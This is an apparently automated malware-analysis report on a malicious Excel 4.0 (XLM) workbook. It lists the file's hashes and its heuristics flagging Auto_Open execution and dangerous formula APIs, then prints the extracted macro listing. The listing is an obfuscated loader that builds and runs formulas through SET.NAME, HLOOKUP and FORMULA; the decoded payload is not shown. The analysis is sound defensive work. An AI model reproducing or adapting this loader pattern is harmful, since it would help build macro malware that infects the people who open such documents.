Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0e61b079130c41dc…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:58 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 7f23fc2bd6b10f082896d78e1cbe7d96 SHA-1: 2c41cdf49793bc93d39a02579043e83a0681ec1d SHA-256: 0e61b079130c41dc0dba1a9301e228d8d489fb00bcbf2d1cdf07abf02b0863e9
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6415 bytes
SHA-256: 30c62070a85696a5621aef931094afbfb519e588a111b6bf55be173d24773ba5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  RdVz
' 0018     26 LABEL : Cell Value, String Constant - aJjWIFdaBQY len=0 
' 0018     26 LABEL : Cell Value, String Constant - akFrRnxCEkQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D135 
' 0018     22 LABEL : Cell Value, String Constant - AZGJTTj len=0 
' 0018     26 LABEL : Cell Value, String Constant - CxuWsHHCPOt len=0 
' 0018     25 LABEL : Cell Value, String Constant - DfypJWIcYm len=0 
' 0018     27 LABEL : Cell Value, String Constant - eyiNyMxcCafp len=0 
' 0018     24 LABEL : Cell Value, String Constant - gGvJqLsVm len=0 
' 0018     23 LABEL : Cell Value, String Constant - GPJXDJev len=0 
' 0018     23 LABEL : Cell Value, String Constant - GxzYpMRy len=0 
' 0018     24 LABEL : Cell Value, String Constant - HjBmgVUrl len=0 
' 0018     21 LABEL : Cell Value, String Constant - Klumjh len=0 
' 0018     22 LABEL : Cell Value, String Constant - lKLuwHy len=0 
' 0018     24 LABEL : Cell Value, String Constant - lUOApNcUo len=0 
' 0018     20 LABEL : Cell Value, String Constant - OGtUB len=0 
' 0018     25 LABEL : Cell Value, String Constant - pbiNTnVqLc len=0 
' 0018     25 LABEL : Cell Value, String Constant - QZybLmLWqf len=0 
' 0018     24 LABEL : Cell Value, String Constant - RNaGCgXAo len=0 
' 0018     22 LABEL : Cell Value, String Constant - SOnuTcT len=0 
' 0018     21 LABEL : Cell Value, String Constant - uJpRlr len=0 
' 0018     24 LABEL : Cell Value, String Constant - YXesZNRYX len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  RdVz,D47,"SET.NAME("SOnuTcT",VALUE("0"))",""
'  RdVz,D49,"SET.NAME("AZGJTTj",SOnuTcT)",""
'  RdVz,D54,"SET.NAME("lUOApNcUo",SOnuTcT)",""
'  RdVz,D56,"SET.NAME("Klumjh",COUNTA(HjBmgVUrl))",""
'  RdVz,D58,"SET.NAME("YXesZNRYX",COUNTA(eyiNyMxcCafp))",""
'  RdVz,D63,[],""
'  RdVz,D67,"SET.NAME("GxzYpMRy","")",""
'  RdVz,D70,"AZGJTTj",""
'  RdVz,D72,"SET.NAME("CxuWsHHCPOt",HLOOKUP("*",HjBmgVUrl,AZGJTTj,FALSE))",""
'  RdVz,D76,"GPJXDJev",""
'  RdVz,D78,"SET.NAME("pbiNTnVqLc",SOnuTcT)",""
'  RdVz,D83,[],""
'  RdVz,D86,"pbiNTnVqLc",""
'  RdVz,D91,"OGtUB",""
'  RdVz,D94,"lKLuwHy",""
'  RdVz,D96,"RNaGCgXAo",""
'  RdVz,D98,"SET.NAME("gGvJqLsVm",VALUE(HLOOKUP("*",eyiNyMxcCafp,RNaGCgXAo,FALSE)))",""
'  RdVz,D100,"DfypJWIcYm",""
'  RdVz,D102,"GxzYpMRy",""
'  RdVz,D104,"lUOApNcUo",""
'  RdVz,D108,NEXT(),""
'  RdVz,D113,"QZybLmLWqf",""
'  RdVz,D117,"SET.NAME("f",INT(T(FORMULA(T(GxzYpMRy)&"",""&T(QZybLmLWqf)))))",""
'  RdVz,D122,"aJjWIFdaBQY",""
'  RdVz,D127,NEXT(),""
'  RdVz,D131,RETURN(),""
'  RdVz,D159,"SET.NAME("akFrRnxCEkQ",D47)",""
'  RdVz,D162,"HjBmgVUrl",""
'  RdVz,D166,"SET.NAME("eyiNyMxcCafp",R41C13)",""
'  RdVz,D168,"SET.NAME("aJjWIFdaBQY",174)",""
'  RdVz,D171,"SET.NAME("uJpRlr",4)",""
'  RdVz,D173,akFrRnxCEkQ(),""
'  RdVz,D174,HALT(),""

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